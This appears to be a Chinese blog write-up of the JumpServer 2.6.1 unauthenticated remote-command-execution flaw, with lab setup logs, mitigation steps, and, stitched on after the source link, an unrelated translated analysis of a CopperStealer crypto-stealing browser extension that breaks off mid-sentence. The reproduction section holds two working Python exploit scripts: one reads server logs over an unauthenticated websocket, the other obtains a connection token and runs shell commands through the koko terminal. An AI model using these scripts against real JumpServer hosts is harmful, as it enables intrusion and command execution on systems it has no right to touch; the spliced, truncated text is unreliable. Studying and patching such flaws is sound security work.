--> https://github.com/jumpserver/koko/blob/4258b6a08d1d3563437ea2257ece05b22b093e15/pkg/httpd/webserver.go#L167

具体代码如下:

lfuqtpanmyx14139.png

n2xer0fttvz14142.png

总结完整的rce利用步骤为:

  1. 未授权的情况下能够建立websocket连接
  2. task可控,可以通过websocket对日志文件进行读取
  3. 拿到日志文件中的系统用户,用户,资产字段
  4. 通过3中的字段,可以拿到20s的token
  5. 通过该token能够进入koko的tty,执行命令

2 漏洞复现

2.1 环境搭建

  • 本地环境:xubuntu20.04
  • jumpserver版本:2.6.1版本

安装步骤:

# 下载
git clone https://github.com/jumpserver/installer.git
cd installer 

# 国内docker源加速
export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn

# 安装dev版本,再切换到2.6.1(应该可以直接安装2.6.1,一开始错装成了默认的dev版本,不过没关系)
sudo su
./jmsctl.sh install
./jmsctl.sh upgrade v2.6.1

# 启动
./jmsctl.sh restart

完整日志

# yanq @ yanq-desk in ~/gitrepo [22:18:53] C:127
$ git clone https://github.com/jumpserver/installer.git
正克隆到 'installer'...
remote: Enumerating objects: 467, done.
remote: Total 467 (delta 0), reused 0 (delta 0), pack-reused 467
接收对象中: 100% (467/467), 95.24 KiB | 182.00 KiB/s, 完成.
处理 delta 中: 100% (305/305), 完成.

# yanq @ yanq-desk in ~/gitrepo [22:20:27] 
$ cd installer   

# yanq @ yanq-desk in ~/gitrepo/installer on git:master o [22:20:30] 
$ ls
compose  config-example.txt  config_init  jmsctl.sh  README.md  scripts  static.env  utils

# yanq @ yanq-desk in ~/gitrepo [22:18:59] 
$ export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn

# yanq @ yanq in ~/github/installer on git:master o [22:03:43] C:130
$ sudo su                   
root@yanq:/home/yanq/github/installer# ./jmsctl.sh install


       ██╗██╗   ██╗███╗   ███╗██████╗ ███████╗███████╗██████╗ ██╗   ██╗███████╗██████╗
       ██║██║   ██║████╗ ████║██╔══██╗██╔════╝██╔════╝██╔══██╗██║   ██║██╔════╝██╔══██╗
       ██║██║   ██║██╔████╔██║██████╔╝███████╗█████╗  ██████╔╝██║   ██║█████╗  ██████╔╝
  ██   ██║██║   ██║██║╚██╔╝██║██╔═══╝ ╚════██║██╔══╝  ██╔══██╗╚██╗ ██╔╝██╔══╝  ██╔══██╗
  ╚█████╔╝╚██████╔╝██║ ╚═╝ ██║██║     ███████║███████╗██║  ██║ ╚████╔╝ ███████╗██║  ██║
  ╚════╝  ╚═════╝ ╚═╝     ╚═╝╚═╝     ╚══════╝╚══════╝╚═╝  ╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

                                                                   Version:  dev  



>>> 一、配置JumpServer
1. 检查配置文件
各组件使用环境变量式配置文件,而不是 yaml 格式, 配置名称与之前保持一致
配置文件位置: /opt/jumpserver/config/config.txt
完成

2. 配置 Nginx 证书
证书位置在: /opt/jumpserver/config/nginx/cert
完成

3. 备份配置文件
备份至 /opt/jumpserver/config/backup/config.txt.2021-01-17_22-03-52
完成

4. 配置网络
需要支持 IPv6 吗? (y/n)  (默认为n): n
完成

5. 自动生成加密密钥
完成

6. 配置持久化目录 
修改日志录像等持久化的目录,可以找个最大的磁盘,并创建目录,如 /opt/jumpserver
注意: 安装完后不能再更改, 否则数据库可能丢失

文件系统        容量  已用  可用 已用% 挂载点
udev            7.3G     0  7.3G    0% /dev
/dev/nvme0n1p2  468G  200G  245G   45% /
/dev/loop1       56M   56M     0  100% /snap/core18/1944
/dev/loop2       65M   65M     0  100% /snap/gtk-common-themes/1513
/dev/loop3      218M  218M     0  100% /snap/gnome-3-34-1804/60
/dev/loop0       56M   56M     0  100% /snap/core18/1932
/dev/loop5       32M   32M     0  100% /snap/snapd/10492
/dev/loop6       65M   65M     0  100% /snap/gtk-common-themes/1514
/dev/loop4       52M   52M     0  100% /snap/snap-store/498
/dev/loop7       52M   52M     0  100% /snap/snap-store/518
/dev/loop8      219M  219M     0  100% /snap/gnome-3-34-1804/66
/dev/loop9       32M   32M     0  100% /snap/snapd/10707
/dev/nvme0n1p1  511M  7.8M  504M    2% /boot/efi

设置持久化卷存储目录 (默认为/opt/jumpserver): 
完成

7. 配置MySQL
是否使用外部mysql (y/n)  (默认为n): n
完成

8. 配置Redis
是否使用外部redis  (y/n)  (默认为n): n
完成

>>> 二、安装配置Docker
1. 安装Docker
开始下载 Docker 程序 ...
--2021-01-17 22:04:12--  https://mirrors.aliyun.com/docker-ce/linux/static/stable/x86_64/docker-18.06.2-ce.tgz
正在解析主机 mirrors.aliyun.com (mirrors.aliyun.com)... 180.97.148.110, 101.89.125.248, 58.216.16.38, ...
正在连接 mirrors.aliyun.com (mirrors.aliyun.com)|180.97.148.110|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度: 43834194 (42M) [application/x-tar]
正在保存至: “/tmp/docker.tar.gz”

/tmp/docker.tar.gz                                          100%[===========================================================================================================================================>]  41.80M  13.8MB/s    用时 3.0s  

2021-01-17 22:04:16 (13.8 MB/s) - 已保存 “/tmp/docker.tar.gz” [43834194/43834194])

开始下载 Docker compose 程序 ...
--2021-01-17 22:04:17--  https://get.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64
正在解析主机 get.daocloud.io (get.daocloud.io)... 106.75.86.15
正在连接 get.daocloud.io (get.daocloud.io)|106.75.86.15|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 302 FOUND
位置:https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64 [跟随至新的 URL]
--2021-01-17 22:04:28--  https://dn-dao-github-mirror.daocloud.io/docker/compose/releases/download/1.27.4/docker-compose-Linux-x86_64
正在解析主机 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)... 240e:ff:a024:200:3::3fe, 240e:964:1003:302:3::3fe, 61.160.204.242, ...
正在连接 dn-dao-github-mirror.daocloud.io (dn-dao-github-mirror.daocloud.io)|240e:ff:a024:200:3::3fe|:443... 已连接。
已发出 HTTP 请求,正在等待回应... 200 OK
长度: 12218968 (12M) [application/x-executable]
正在保存至: “/tmp/docker-compose”

/tmp/docker-compose                                         100%[===========================================================================================================================================>]  11.65M  8.43MB/s    用时 1.4s  

2021-01-17 22:04:35 (8.43 MB/s) - 已保存 “/tmp/docker-compose” [12218968/12218968])

已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n)  (默认为n): n
完成

2. 配置Docker
修改Docker镜像容器的默认存储目录,可以找个最大的磁盘, 并创建目录,如 /opt/docker
文件系统        容量  已用  可用 已用% 挂载点
udev            7.3G     0  7.3G    0% /dev
/dev/nvme0n1p2  468G  200G  245G   45% /
/dev/loop1       56M   56M     0  100% /snap/core18/1944
/dev/loop2       65M   65M     0  100% /snap/gtk-common-themes/1513
/dev/loop3      218M  218M     0  100% /snap/gnome-3-34-1804/60
/dev/loop0       56M   56M     0  100% /snap/core18/1932
/dev/loop5       32M   32M     0  100% /snap/snapd/10492
/dev/loop6       65M   65M     0  100% /snap/gtk-common-themes/1514
/dev/loop4       52M   52M     0  100% /snap/snap-store/498
/dev/loop7       52M   52M     0  100% /snap/snap-store/518
/dev/loop8      219M  219M     0  100% /snap/gnome-3-34-1804/66
/dev/loop9       32M   32M     0  100% /snap/snapd/10707
/dev/nvme0n1p1  511M  7.8M  504M    2% /boot/efi

Docker存储目录 (默认为/opt/docker): 
完成

3. 启动Docker
Docker 版本发生改变 或 docker配置文件发生变化,是否要重启 (y/n)  (默认为y): y
完成

>>> 三、加载镜像
[jumpserver/redis:6-alpine]
6-alpine: Pulling from jumpserver/redis
05e7bc50f07f: Pull complete 
14c9d57a1c7f: Pull complete 
ccd033d7ec06: Pull complete 
6ff79b059f99: Pull complete 
d91237314b77: Pull complete 
c47d41ba6aa8: Pull complete 
Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18
Status: Downloaded newer image for jumpserver/redis:6-alpine
docker.io/jumpserver/redis:6-alpine

[jumpserver/mysql:5]
5: Pulling from jumpserver/mysql
6ec7b7d162b2: Pull complete 
fedd960d3481: Pull complete 
7ab947313861: Pull complete 
64f92f19e638: Pull complete 
3e80b17bff96: Pull complete 
014e976799f9: Pull complete 
59ae84fee1b3: Pull complete 
7d1da2a18e2e: Pull complete 
301a28b700b9: Pull complete 
979b389fc71f: Pull complete 
403f729b1bad: Pull complete 
Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd
Status: Downloaded newer image for jumpserver/mysql:5
docker.io/jumpserver/mysql:5

[jumpserver/nginx:alpine2]
alpine2: Pulling from jumpserver/nginx
c87736221ed0: Pull complete 
6ff0ab02fe54: Pull complete 
e5b318df7728: Pull complete 
b7a5a4fe8726: Pull complete 
Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112
Status: Downloaded newer image for jumpserver/nginx:alpine2
docker.io/jumpserver/nginx:alpine2

[jumpserver/luna:dev]
dev: Pulling from jumpserver/luna
801bfaa63ef2: Pull complete 
b1242e25d284: Pull complete 
7453d3e6b909: Pull complete 
07ce7418c4f8: Pull complete 
e295e0624aa3: Pull complete 
d373a40639dd: Pull complete 
565ad7a883c2: Pull complete 
Digest: sha256:68be3762e065f9eae1bfef462dcd1394ca7a256d22e807d129cc9888c4159874
Status: Downloaded newer image for jumpserver/luna:dev
docker.io/jumpserver/luna:dev

[jumpserver/core:dev]
dev: Pulling from jumpserver/core
6ec7b7d162b2: Already exists 
80ff6536d04b: Pull complete 
2d04da85e485: Pull complete 
998aa32a5c8a: Pull complete 
7733ef26f344: Pull complete 
a3fc2d00adff: Pull complete 
0fceca9bd0c9: Pull complete 
6fd88063e2c9: Pull complete 
6b761cc0db94: Pull complete 
25d46cb4551e: Pull complete 
6da27e4adc2b: Pull complete 
e521a634bfca: Pull complete 
90d95c158108: Pull complete 
Digest: sha256:4733073dfbbf6ec5cf6738738e3305ecaf585bff343a3e4c9990398fd7efbb5c
Status: Downloaded newer image for jumpserver/core:dev
docker.io/jumpserver/core:dev

[jumpserver/koko:dev]
dev: Pulling from jumpserver/koko
6d28e14ab8c8: Pulling fs layer 
1473f8a0a4e1: Pulling fs layer 
683341f9f103: Pull complete 
631f019c17de: Pull complete 
f3a995ef2b4b: Pull complete 
c091dc645c6f: Pull complete 
4e858775bdf0: Pull complete 
fa772130cab7: Pull complete 
a0f79afbde1c: Pull complete 
fdaf81979833: Pull complete 
8d4986e114f0: Pull complete 
eeb197dd15a0: Pull complete 
271cd9c942c6: Pull complete 
fc8bb9405f48: Pull complete 
06a07acf5be2: Pull complete 
Digest: sha256:7e8327a84b8d593c7b8c48dec8fa6ee8bc31e43d6e2344ae0e82897beefc76f1
Status: Downloaded newer image for jumpserver/koko:dev
docker.io/jumpserver/koko:dev

[jumpserver/guacamole:dev]
dev: Pulling from jumpserver/guacamole
6c33745f49b4: Pulling fs layer 
ef072fc32a84: Pulling fs layer 
c0afb8e68e0b: Pulling fs layer 
d599c07d28e6: Pulling fs layer 
e8a829023b97: Waiting 
2709df21cc5c: Waiting 
3bfb431a8cf5: Waiting 
bb9822eef866: Waiting 
5842bda2007b: Pulling fs layer 
453a23f25fcb: Waiting 
c856ffeae983: Waiting 
c51581693e31: Pull complete 
0809345a90d0: Pull complete 
0ba7229a2102: Pull complete 
bf692785c490: Pull complete 
9d6086f6248b: Pull complete 
86c187652ab5: Pull complete 
07f50f434b4b: Pull complete 
9173a0544d33: Pull complete 
78884a472184: Pull complete 
940cbfe07a44: Pull complete 
f322e824f1f5: Pull complete 
02228eb4be13: Pull complete 
dfe141bc6b7b: Pull complete 
Digest: sha256:fc0cd386edca711b45d84f6c192269d176ee165196ced8654ae18ac21eba0dc3
Status: Downloaded newer image for jumpserver/guacamole:dev
docker.io/jumpserver/guacamole:dev

[jumpserver/lina:dev]
dev: Pulling from jumpserver/lina
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
b1e2e4ef9246: Pull complete 
cf63647ff370: Pull complete 
Digest: sha256:5572209db626212f06e4744ae297b5520f59671841c8e3713ce65bbec3ee5038
Status: Downloaded newer image for jumpserver/lina:dev
docker.io/jumpserver/lina:dev


>>> 四、安装完成了
1. 可以使用如下命令启动, 然后访问
./jmsctl.sh start

2. 其它一些管理命令
./jmsctl.sh stop
./jmsctl.sh restart
./jmsctl.sh backup
./jmsctl.sh upgrade
更多还有一些命令,你可以 ./jmsctl.sh --help来了解

3. 访问 Web 后台页面
http://192.168.1.7:8080
https://192.168.1.7:8443

4. ssh/sftp 访问
ssh admin@192.168.1.7 -p2222
sftp -P2222 admin@192.168.1.7

5. 更多信息
我们的文档: https://docs.jumpserver.org/
我们的官网: https://www.jumpserver.org/


root@yanq:/home/yanq/github/installer# ./jmsctl.sh upgrade v2.6.1
你确定要升级到 v2.6.1 版本吗? (y/n)  (默认为n): y

1. 检查配置变更
完成

2. 检查程序文件变更
已安装 Docker版本 与 本安装包测试的版本(18.06.2-ce) 不一致, 是否更新? (y/n)  (默认为n): 
完成

3. 升级镜像文件
[jumpserver/redis:6-alpine]
6-alpine: Pulling from jumpserver/redis
Digest: sha256:4920debee18fad71841ce101a7867743ff8fe7d47e6191b750c3edcfffc1cb18
Status: Image is up to date for jumpserver/redis:6-alpine
docker.io/jumpserver/redis:6-alpine

[jumpserver/mysql:5]
5: Pulling from jumpserver/mysql
Digest: sha256:b3b2703de646600b008cbb2de36b70b21e51e7e93a7fca450d2b08151658b2dd
Status: Image is up to date for jumpserver/mysql:5
docker.io/jumpserver/mysql:5

[jumpserver/nginx:alpine2]
alpine2: Pulling from jumpserver/nginx
Digest: sha256:d25ed0a8c1b4957f918555c0dbda9d71695d7b336d24f7017a87b2081baf1112
Status: Image is up to date for jumpserver/nginx:alpine2
docker.io/jumpserver/nginx:alpine2

[jumpserver/luna:v2.6.1]
v2.6.1: Pulling from jumpserver/luna
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
9aa19406fcc2: Pull complete 
b88c1894aa70: Pull complete 
Digest: sha256:6889bc5825c8b608d3d086fa6713da5098665d9caaa6de0d2de2e30f27246fa4
Status: Downloaded newer image for jumpserver/luna:v2.6.1
docker.io/jumpserver/luna:v2.6.1

[jumpserver/core:v2.6.1]
v2.6.1: Pulling from jumpserver/core
852e50cd189d: Pull complete 
334ed303e4ad: Pull complete 
a687a65725ea: Pull complete 
fe607cb30fbe: Pull complete 
af3dd7a5d357: Pull complete 
5ed087772967: Pull complete 
de88310b192c: Pull complete 
3f3c40cb5584: Pull complete 
a616053790d8: Pull complete 
f78e4ffd4b11: Pull complete 
681df5236765: Pull complete 
6feeeb96a348: Pull complete 
8b170624587e: Pull complete 
Digest: sha256:1332e03847e45f1995845e1b74f1f3deb1f108da72ac5b8af087bc3775690e7b
Status: Downloaded newer image for jumpserver/core:v2.6.1
docker.io/jumpserver/core:v2.6.1

[jumpserver/koko:v2.6.1]
v2.6.1: Pulling from jumpserver/koko
6d28e14ab8c8: Already exists 
c4b1524d2f75: Pulling fs layer 
8522e19e2998: Pull complete 
106d5adca780: Pull complete 
e649208988b3: Pull complete 
fd02488ce54c: Pull complete 
8566396c9588: Pull complete 
5c3ae6b36882: Pull complete 
cb4e3aeda111: Pull complete 
3bc46e9d6be9: Pull complete 
919620ef3747: Pull complete 
3998a9375e49: Pull complete 
5869987766aa: Pull complete 
9fd39a172e25: Pull complete 
f60bfb937cc4: Pull complete 
Digest: sha256:242e96c7a992bf44ccbda321fb69c8ea4d39d5ff423cf8f1505e9856b1ac2496
Status: Downloaded newer image for jumpserver/koko:v2.6.1
docker.io/jumpserver/koko:v2.6.1

[jumpserver/guacamole:v2.6.1]
v2.6.1: Pulling from jumpserver/guacamole
c5e155d5a1d1: Pulling fs layer 
221d80d00ae9: Pulling fs layer 
4250b3117dca: Pulling fs layer 
d1370422ab93: Pulling fs layer 
deb6b03222ca: Pulling fs layer 
9cdea8d70cc3: Pulling fs layer 
968505be14db: Pulling fs layer 
04b5c270ac81: Pulling fs layer 
301d76fcab1f: Pulling fs layer 
f4d49608235a: Pulling fs layer 
f4c6404fd6f8: Pulling fs layer 
73ac8e900d64: Pulling fs layer 
eec0a1010dfa: Pull complete 
199219e1bcf7: Pull complete 
54d3328751a0: Pull complete 
68412973433c: Pull complete 
b45d84968434: Pull complete 
9569df8016cc: Pull complete 
642448bde40a: Pull complete 
e788dd92de90: Pull complete 
223eaf2bd9f6: Pull complete 
b68966fc02ad: Pull complete 
cf0eb6b2e415: Pull complete 
0b78188a975b: Pull complete 
704b69b91dcb: Pull complete 
Digest: sha256:cb80c430c14ad220edd6f20855da5f7ea256d75f5f87bebe29d7e27275c4beeb
Status: Downloaded newer image for jumpserver/guacamole:v2.6.1
docker.io/jumpserver/guacamole:v2.6.1

[jumpserver/lina:v2.6.1]
v2.6.1: Pulling from jumpserver/lina
801bfaa63ef2: Already exists 
b1242e25d284: Already exists 
7453d3e6b909: Already exists 
07ce7418c4f8: Already exists 
e295e0624aa3: Already exists 
2ec572beb6c1: Pull complete 
c7d22dce32ca: Pull complete 
Digest: sha256:8d63a0716558b4384f0eab2220bcfefe5ba2e040cbd33634576ba444c215212a
Status: Downloaded newer image for jumpserver/lina:v2.6.1
docker.io/jumpserver/lina:v2.6.1

完成
4. 备份数据库
正在备份...
mysqldump: [Warning] Using a password on the command line interface can be insecure.
备份成功! 备份文件已存放至: /opt/jumpserver/db_backup/jumpserver-2021-01-17_22:28:00.sql.gz 

5. 进行数据库变更
表结构变更可能需要一段时间,请耐心等待 (请确保数据库在运行)
2021-01-17 22:28:03 Collect static files
2021-01-17 22:28:03 Collect static files done
2021-01-17 22:28:03 Check database structure change ...
2021-01-17 22:28:03 Migrate model change to database ...

472 static files copied to '/opt/jumpserver/data/static'.
Operations to perform:
  Apply all migrations: admin, applications, assets, audits, auth, authentication, captcha, common, contenttypes, django_cas_ng, django_celery_beat, jms_oidc_rp, ops, orgs, perms, sessions, settings, terminal, tickets, users
Running migrations:
  No migrations to apply.
完成

6. 升级成功, 可以重启程序了
./jmsctl.sh restart

root@yanq:/home/yanq/github/installer# ./jmsctl.sh restart
Stopping jms_core ... done
Stopping jms_koko ... done
Stopping jms_guacamole ... done
Stopping jms_lina ... done
Stopping jms_luna ... done
Stopping jms_nginx ... done
Stopping jms_celery ... done
Removing jms_core ... done
Removing jms_koko ... done
Removing jms_guacamole ... done
Removing jms_lina ... done
Removing jms_luna ... done
Removing jms_nginx ... done
Removing jms_celery ... done


WARNING: The HOSTNAME variable is not set. Defaulting to a blank string.
jms_mysql is up-to-date
jms_redis is up-to-date
Creating jms_core ... done
Creating jms_lina      ... done
Creating jms_guacamole ... done
Creating jms_koko      ... done
Creating jms_celery    ... done
Creating jms_luna      ... done
Creating jms_nginx     ... done

rhmvyucszha14143.png

2.2 读取日志

可以直接访问日志的websocket接口,在线测试websocket工具:http://coolaf.com/tool/chattest 或者使用扩展:https://chrome.google.com/webstore/detail/websocket-test-client/fgponpodhbmadfljofbimhhlengambbn

下面用代码测试:

import asyncio
import re

import websockets
import json

url = "/ws/ops/tasks/log/"

async def main_logic(t):
    print("#######start ws")
    async with websockets.connect(t) as client:
        await client.send(json.dumps({"task": "//opt/jumpserver/logs/jumpserver"}))
        while True:
            ret = json.loads(await client.recv())
            print(ret["message"], end="")

if __name__ == "__main__":
    host = "http://192.168.1.7:8080"
    target = host.replace("https://", "wss://").replace("http://", "ws://") + url
    print("target: %s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic(target))

ei0hoza2mb514145.png

这里读到的就是jumpserver上/opt/jumpserver/core/logs/jumpserver目录下的日志。

搭建的漏洞环境中有如下日志可以读:

root@yanq:/opt/jumpserver/core/logs# ls -la
总用量 248
drwxr-xr-x 3 root root   4096 1月  17 23:59 .
drwxr-xr-x 4 root root   4096 1月  17 22:17 ..
drwxr-xr-x 2 root root   4096 1月  17 23:59 2021-01-17
-rw-r--r-- 1 root root      0 1月  17 22:17 ansible.log
-rw-r--r-- 1 root root   2978 1月  18 01:51 beat.log
-rw-r--r-- 1 root root   3122 1月  18 01:51 celery_ansible.log
-rw-r--r-- 1 root root    978 1月  18 01:51 celery_check_asset_perm_expired.log
-rw-r--r-- 1 root root   4332 1月  18 01:51 celery_default.log
-rw-r--r-- 1 root root      0 1月  17 23:59 celery_heavy_tasks.log
-rw-r--r-- 1 root root   4604 1月  18 01:51 celery_node_tree.log
-rw-r--r-- 1 root root   1919 1月  18 01:50 daphne.log
-rw-r--r-- 1 root root   1359 1月  17 22:18 drf_exception.log
-rw-r--r-- 1 root root      0 1月  17 23:59 flower.log
-rw-r--r-- 1 root root 191941 1月  18 01:52 gunicorn.log
-rw-r--r-- 1 root root   7470 1月  18 01:51 jumpserver.log
-rw-r--r-- 1 root root      0 1月  17 22:17 unexpected_exception.log

比如读取gunicorn.log:

krfrnapy4ue14146.png

除了读日志文件,还可以从/opt/jumpserver/logs/jumpserver读取到taskid,然后查看task的详细信息(当然taskid很可能已经失效了)

ws://192.168.1.73:8080/ws/ops/tasks/log/发送
{"task":"33xxxxx"}

2.3 远程命令执行

需要在jumpserver中添加一台主机,并且用户登录web terminal。

v15ejikzinm14147.png

登录过web terminal之后,在gunicorn.log可以拿到这三个信息。(从结果中搜索/asset-permissions/user/validate)

g4fpjhkjefa14148.png

如果读到了这三个字段,可以利用/api/v1/users/connection-token/拿到一个token,将token发给koko组件可以拿到一个ssh凭证,就可以登陆用户机器了。

通过以下脚本进行远程命令执行利用

import asyncio
import websockets
import requests
import json

url = "/api/v1/authentication/connection-token/?user-only=None"

# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)
    recv_text = await websocket.recv()
    print(f"{recv_text}")

# 客户端主逻辑
async def main_logic(cmd):
    print("#######start ws")
    async with websockets.connect(target) as websocket:
        recv_text = await websocket.recv()
        print(f"{recv_text}")
        resws=json.loads(recv_text)
        id = resws['id']
        print("get ws id:"+id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
        await send_msg(websocket,inittext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print("###############")
        print("exec cmd: ls")
        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
        print(cmdtext)
        await send_msg(websocket, cmdtext)
        for i in range(20):
            recv_text = await websocket.recv()
            print(f"{recv_text}")
        print('#######finish')


if __name__ == '__main__':
    host = "http://192.168.1.7:8080"
    cmd="whoami"
    if host[-1]=='/':
        host=host[:-1]
    print(host)
    data = {"user": "83b24e76-028b-4f49-9329-63e5e3ef10a4", "asset": "96b49ae4-1efd-483a-99bc-4b9708fc7471",
            "system_user": "a0899187-0c5f-4d57-8ab4-9a8628b74864"}
    print("##################")
    print("get token url:%s" % (host + url,))
    print("##################")
    res = requests.post(host + url, json=data)
    token = res.json()["token"]
    print("token:%s", (token,))
    print("##################")
    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
    print("target ws:%s" % (target,))
    asyncio.get_event_loop().run_until_complete(main_logic(cmd))

lpqn1bwqez114149.png

3 修复方案

以下根据官方文档:

  1. 将JumpServer升级至安全版本;
  2. 临时修复方案:

修改 Nginx 配置文件屏蔽漏洞接口

/api/v1/authentication/connection-token/
/api/v1/users/connection-token/

Nginx 配置文件位置

# 社区老版本
/etc/nginx/conf.d/jumpserver.conf

# 企业老版本
jumpserver-release/nginx/http_server.conf
 
# 新版本在 
jumpserver-release/compose/config_static/http_server.conf

修改 Nginx 配置文件实例

# 保证在 /api 之前 和 / 之前
location /api/v1/authentication/connection-token/ {
   return 403;
}
 
location /api/v1/users/connection-token/ {
   return 403;
}
# 新增以上这些
 
location /api/ {
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header Host $host;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_pass http://core:8080;
  }

...

修改完成后重启 nginx

docker方式: 
docker restart jms_nginx

nginx方式:
systemctl restart nginx

修复验证

$ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh 

# 使用方法 bash jms_bug_check.sh HOST 
$ bash jms_bug_check.sh demo.jumpserver.org
漏洞已修复

参考

  • https://www.o2oxy.cn/2921.html
  • https://github.com/Skactor/jumpserver_rce
  • https://s.tencent.com/research/bsafe/1228.html
  • https://mp.weixin.qq.com/s/ATy4mh53W5NJfRBdkAhyyQ


原文连接: https://saucer-man.com/information_security/520.html#cl-2

趨勢科技的研究人員跟踪了CopperStealer幕後組織的最新部署,這次是通過基於Chromium的惡意瀏覽器擴展程序竊取加密貨幣和用戶的錢包帳戶信息。

趨勢科技最近發布了關於CopperStealer通過濫用瀏覽器竊取程序、廣告軟件瀏覽器擴展程序或遠程桌面等各種組件傳播惡意軟件的分析。跟踪網絡犯罪集團的最新活動,研究人員發現了一個惡意瀏覽器擴展,當受害者登錄到一個主要的加密貨幣交易網站時,該擴展能夠創建和竊取受感染設備的API密鑰。這些API密鑰允許擴展程序執行交易並將加密貨幣從受害者的錢包發送到攻擊者的錢包。

與以前的攻擊類似,這個新組件通過fake crack(也稱為warez)網站傳播。該組件通常與瀏覽器竊取程序一起分佈在一個釋放器中,並與其他不相關的惡意軟件捆綁在一起。這個捆綁包被壓縮成一個受密碼保護的檔案,自7月以來一直在野外傳播。

滴管/擴展安裝程序該組件在第一階段使用之前文章中描述的相同加密器,然後是第二階段,其中解密的DLL是UltimatePackerExecutables-(UPX)打包的。解密和解包後,我們注意到一個名為CRX的資源目錄,其中包含一個7-Zip壓縮文件。惡意Chrome瀏覽器擴展通常以這種方式打包。

1.png

名為CRX的擴展安裝程序,包含一個7-Zip壓縮文件

該壓縮文件包含一個帶有設置的JSON文件和另一個帶有擴展安裝程序本身代碼的7-Zip壓縮文件。

2.png

CRX的解壓內容

擴展安裝程序首先修改文件首選項和安全首選項在chrome瀏覽器的用戶數據目錄。這個名為Preferences的文件是JSON格式,包含個人用戶設置。擴展安裝程序關閉瀏覽器通知。

同時,名為SecurePreferences的文件也是JSON格式,包含已安裝擴展的設置。對於新安裝的擴展,crx.json文件的內容將插入到此安全首選項設置文件中。新安裝的擴展也會添加到位於註冊表中的擴展安裝允許列表中。

然後將crx.7z壓縮文件中的文件提取到位於

Chrome

Chromium

Edge

Brave

Opera

CốcCốc

CentBrowser

Iridium

Vivaldi

Epic

Coowon

AvastSecureBrowser

Orbitum

ComodoDragon我們還注意到,該擴展程序被安裝到受害者的瀏覽器中,具有兩個不同的擴展程序ID,且在官方Chrome網上商店中都找不到:

Cbnmkphohlaaeiknkhpacmmnlljnaedp;

Jikoemlnjnpmecljncdgigogcnhlbfkc;擴展分析安裝擴展程序後,我們還注意到chrome://extensions/中新安裝了以下擴展程序。

3.png

安裝的惡意擴展

擴展清單定義了兩個Java腳本。後台腳本名為background.js,並且只在一個實例中運行在擴展本身內部。同時,內容腳本稱為content.js,並在coinbase.com上下文中運行,如擴展清單中的代碼片段所示。

4.png

在擴展清單中指定的內容腳本的設置

腳本混淆這兩個Javascript文件都被嚴重混淆。在第一個混淆步驟中,所有字符串被拆分為子字符串,存儲在單個數組中,通過調用多個帶有5個十六進制整數參數的十六進制命名函數來實現對數組的訪問。

5.png

第一層混淆

看看第二個混淆步驟,所有字符串、邏輯操作符(+、-、*、/)、函數調用等都被插入到對像數組中。每個對像都有一個隨機字符串作為名稱,或者另一個字符串或函數作為值。在我們分析的示例中,_0x1f27e3['PFPYr']對應字符串' set ', _0x1f27e3['LYLfc'](0,1)對應邏輯表達式0!=1。

6.png

第二層混淆

這兩個混淆步驟都可以通過使用自定義自動化腳本來反混淆。

後台腳本分析通過分析腳本,本節分析了攻擊者如何能夠竊取合法加密貨幣錢包用戶的賬戶信息。當擴展啟動時,後台腳本進行兩個查詢。第一個是對http:///traffic/chrome的GET請求,可能是出於統計目的。第二個查詢是對http://

blockchain.com

coinbase.com

binance.com

ftx.com

okex.com

huobi.com

kraken.com

poloniex.com

crypto.com

bithumb.com

bitfinex.com

kucoin.com

gate.io

tokocrypto.com

tabtrader.com

mexc.com

lbank.info

hotbit.io

bit2me.com

etoro.com

nicehash.com

probit.com然後,該擴展為各種加密貨幣和令牌定義了一個攻擊者的地址數組:

Tether(USDT,specificallyinEthereumERC20andTRONTRC20)

Ethereum(ETH)

Bitcoin(BTC)

Litecoin(LTC)

Binancecoin(BNB)

Ripple(XRP)

Solana(SOL)

BitcoinCash(BCH)

Zcash(ZEC)

StellarLumens(XLM)

Dogecoin(DOGE)

Tezos(XTZ)

Algorand(ALGO)

Dash(DASH)

Cosmos(ATOM)對於ETH地址,腳本硬編碼了大約170個額外的基於ERC20的代幣。之後,擴展啟動onMessage偵聽器以偵聽來自擴展進程或內容腳本發送的消息。該消息採用JSON格式,其中一個name-value pair稱為method。後台腳本偵聽以下方法:

马云惹不起马云Method “homeStart”

這個方法試圖從Chrome的本地存儲獲取API密鑰(apiKey)和API秘密(apiSecret),如果這些密鑰和秘密對是之前獲得併保存的。以下步驟需要這些參數:

1.使用API通過請求/api/v2/accounts獲取有關錢包、地址和余額的信息。此請求的結果也被洩露到http://

